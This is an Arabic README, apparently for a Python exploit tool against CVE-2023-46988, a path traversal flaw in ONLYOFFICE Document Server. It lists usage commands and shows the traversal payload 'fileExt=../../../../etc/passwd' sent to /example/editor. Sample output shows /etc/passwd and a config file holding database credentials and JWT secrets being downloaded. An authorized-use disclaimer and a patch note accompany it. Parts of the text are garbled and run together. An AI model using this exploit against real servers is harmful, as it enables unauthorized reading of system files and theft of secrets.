
CVE-2023-46988: ONLYOFFICE استغلال اجتياز المسار
يستغل هذا النص البرمجي ثغرة اجتياز المسار في ONLYOFFICE Document Server (CVE-2023-46988) التي تسمح للمستخدمين غير المصرح لهم بنسخ ملفات تعسفية من الخادم. توجد الثغرة في نقطة النهاية /example/editor، حيث يمكن التلاعب بمعامل fileExt للوصول إلى ملفات النظام والإعدادات الحساسة.
هذه الأداة مخصصة لأغراض البحث الأمني التعليمي والمصرح به فقط.
الاستخدام غير المصرح به ضد الأنظمة دون إذن صريح غير قانوني وغير أخلاقي.
/etc/passwd/etc/onlyoffice/documentserver/local.json (يحتوي على بيانات اعتماد قاعدة البيانات وأسرار JWT)--file.--proxy).--verify).python onlyoffice_exploit.py http://localhost
يسترد هذا:
/etc/passwd/etc/onlyoffice/documentserver/local.json/etc/hosts)python onlyoffice_exploit.py http://localhost --file /etc/hosts
127.0.0.1:8080)python onlyoffice_exploit.py http://localhost --proxy
python onlyoffice_exploit.py http://localhost --proxy http://127.0.0.1:8080
python onlyoffice_exploit.py https://example.local --verify
python onlyoffice_exploit.py https://example.local --file /etc/hosts --proxy --verify
/example/editor بمعامل fileExt ضار:
GET /example/editor?fileExt=../../../../../../../../etc/passwd
/example/download?fileName=<extracted_filename>.[*] Target URL: http://localhost
[*] Attempting to retrieve: /etc/passwd
[*] Sending request to: http://localhost/example/editor?fileExt=../../../../../../../../etc/passwd
[+] Extracted Redirect URL: http://localhost/example/download?fileName=.passwd
[+] Extracted File Name: .passwd
[*] Downloading file: http://localhost/example/download?fileName=.passwd
[+] File downloaded successfully: .passwd
قامت ONLYOFFICE بإصلاح هذه الثغرة في تحديث فبراير 2024.
يجب على المستخدمين التحديث إلى أحدث إصدار لحماية خوادمهم.
هذا المشروع مرخص بموجب رخصة MIT – راجع ملف LICENSE للحصول على التفاصيل.